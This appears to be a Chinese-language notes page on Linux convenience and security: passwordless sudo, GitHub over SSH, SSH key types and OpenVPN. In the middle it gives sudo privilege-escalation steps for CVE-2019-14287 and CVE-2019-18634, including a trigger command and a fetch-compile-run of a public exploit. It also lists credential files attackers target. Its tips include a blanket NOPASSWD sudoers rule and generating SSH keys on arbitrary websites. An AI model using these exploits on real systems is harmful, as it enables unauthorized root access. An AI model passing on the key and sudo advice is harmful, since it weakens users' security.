简介
平时Linux操作系统安装 ®StudioとShiny服务器使用sudo需要输入密码麻烦,可以通过:
sudo apt install micro #安装micro编译器,micro比visudo、vi、vim、nano容易操作
sudo micro /etc/sudoers #打开授权档案
<user> ALL=(ALL:ALL) NOPASSWD: ALL #赋值权限
Chromium is a pain in the arse for this. The only way I've found to stop it demanding Kwallet is to start it with this command:
chromium --password-store=basic
出处:Kwallet keeps asking for password on boot
GitHub仓库
平时使用GitHub上载文件Push时需要输入密码麻烦,可以通过:
I know this is not a general help forum, but just to share my piece when dealing with this issue: I had to switch from https to ssh url. This resolved the issue.
Originally posted by @ratnanil in Very common RStudio/git problem+solution: "error: unable to read askpass response from 'rpostback-askpass'" · Issue #93 · STAT545-UBC/Discussion · GitHub
You can only push to two types of URL addresses:
- An HTTPS URL like https://github.com/user/repo.git
- An SSH URL, like git@github.com:user/repo.gitGit associates a remote URL with a name, and your default remote is usually called origin .
出处:GitHub SSH doesn't work 和 RStudio desktop hangs at start-up on Ubuntu 21.10 #9854
将GitHub设定的仓库设置为git@github.com:user/repo.git,然后可以通过RStudio应用或随便个网站Generate SSH Keys Online制作钥匙。
SSH钥匙
SSH-Key私钥泄露ssh十分重要的两个文件
- id_rsa
- id_rsa.pub
id_rsa.pub会让攻击者知道你的公钥以及你的用户名id_rsa则是记载私钥,攻击者获取私钥后,可暴力破解。如果私钥没有加密的话,攻击者可以直接使用私钥连接服务器。openvpn
- *.ovpn (用户的连接配置文件)有可能存在密钥信息或者是明文密码
- /etc/openvpn/auth.txt
- ~/.irssi/config
sudo CVE-2019-14287 提权
要求
- sudo版本低于v1.8.28
- /etc/sudoers 配置要求如下(要求一组特定权限)
- <user> ALL=(ALL:!root) NOPASSWD: ALL<user> ALL=(ALL:!root) NOPASSWD: ALL代表该用户能以非root的身份运行所有命令
注意:root的uid永远为0
使用这个漏洞之前,我们需要知道sudo的一个参数-u
sudo -u#0 <command>
即以uid为0的用户去运行这个命令.123456
$ sudo -u#0 whoami
[sudo] password for abc:
root$ sudo -u#1 whoami
bin那么如果我们输入一个uid位为无符号的整型的时候会怎么样呢??
sudo -u#-1 whoami答案
sudo CVE-2019-18634 提权
sudo版本要求
- sudo版本低于1.8.26
- sudo配置开启pwfeedback这与CVE-2019-14287的不同之处在于,CVE-2019-14287要求特定的权限,而CVE-2019-18634不需要任何特定的权限,即使是未在sudoers文件中列出的用户也可利用此漏洞。
CVE-2019-18634 使用到了缓冲区溢出攻击(Buffer Overflow)
pwfeedback选项是可让用户在输入密码时提供可视化的反馈(辅助输入)。
pwfeedback 在Linux Mint和 elementary OS 默认开启,但在其他系统就不是了.需要管理员开启才能生效
“Sudo的开发者Todd C. Miller表示,利用此漏洞和sudo权限无关,只需要启用了pwfeedback即可。”
当sudo提示输入密码时,可以通过管道符将大量输入传递给sudo,从而重现漏洞,例如:
$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S
Password: Segmentation fault在这个命令中,我们使用Perl生成大量无用字符,然后使用管道符将这些字符作为密码传递给sudo命令。
但是这实际上并没有给我们root权限,相反,它向我们显示了一个错误消息:Segmentation fault,这基本上意味着我们试图访问一些我们不应该访问的内存。这证明了缓冲区溢出漏洞的存在:现在我们只需要利用它
exp作者:saleemrashid
wget https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.c
gcc -o exploit exploit.c
./exploit漏洞出现的原因有两个:
- 当从终端设备以外的设备读取数据时,pwfeedback选项不会被忽略。由于缺少终端,已保存的行擦除字符的版本保持其初始值0。
- 如果出现写错误,擦除星号行的代码就无法正确地重置缓冲区位置,但是会重置剩余的缓冲区长度。因此,getln()函数可以写入缓冲区的末尾。
出处:Linux提权方式 和 漏洞总结-linux提权漏洞
选择认证密钥种类OpenSSH(对于认证密钥)支持数种签名算法,按照所采用的数学性质可分为两类:
- DSA 以及 RSA,依赖于对两个大质数之积进行分解的实际困难;
- ECDSA 以及 Ed25519,依赖于椭圆曲线离散对数问题。(例)椭圆曲线密码学(ECC)算法是对于公钥密码体制的较新发展。其主要优势之一是以较小密钥提供同等安全性的能力,使得计算密集操作更少(也就是密钥创建、加密及解密更快)且存储及传输的要求更低。
由于已发现的漏洞,OpenSSH 7.0废弃并禁用了对 DSA 密钥的支持,因此密码体制的选择范围就限定在了 RSA 或两种 ECC 之一当中。#RSA密钥会提供最大的可移植性,而 #Ed25519 会提供最佳的安全性,但需要新版本的客户端与服务器[2]。#ECDSA兼容性可能比 Ed25519 更好(虽然还是不如 RSA),但存在对于其安全性的怀疑(见下文)。
注意: 这些密钥只用于认证您的身份;选择更强的密钥并不会在通过SSH传输数据时加重 CPU 负担。
RSA
ssh-keygen 默认使用 RSA,因此无需使用 -t 选项指定它。它提供所有算法当中最佳的兼容性,但提供充足安全性所需的密钥尺寸较大。密钥尺寸最小为1024位,默认为3072(见 ssh-keygen(1)),最大为 16384。如果您想生成较强的 RSA 密钥对(例如为了防范先进或未知攻击以及较高级的攻击者),只需为 -b 选项指定比默认高一点的值:$ ssh-keygen -b 4096
需要明白的是,使用更长的密钥存在收益递减。[3] [4] GnuPG 常见问答记载:“如果你需要的安全性比 RSA-2048 所提供的更强,应该做的是改用椭圆曲线密码学——而不是接着使用 RSA。”[5]另一方面,最新版本的 NSA Fact Sheet Suite B Cryptography 建议对于 RSA 使用最少3072位的模,同时“为即将到来的抗量子算法迁移(做准备)”。[6]
VPN代理服务器
Linux操作系统有一些VPN代理服务器,这儿有个Install OpenVPN on Ubuntu via CLI 简单的教程。
参考文献
- 生成SSH密钥(Linux)
- 4096 bit RSA encryption keys vs 2048
- Comparing SSH Keys - RSA, DSA, ECDSA, or EdDSA?
- SSH keys (简体中文)
- RSA密钥长度、明文长度和密文长度
- SSH key的介绍与在Git中的使用
- 加快ssh连接速度
- SSH之来龙去脉
- 对称加密算法的几种模式优缺点一览
网友评论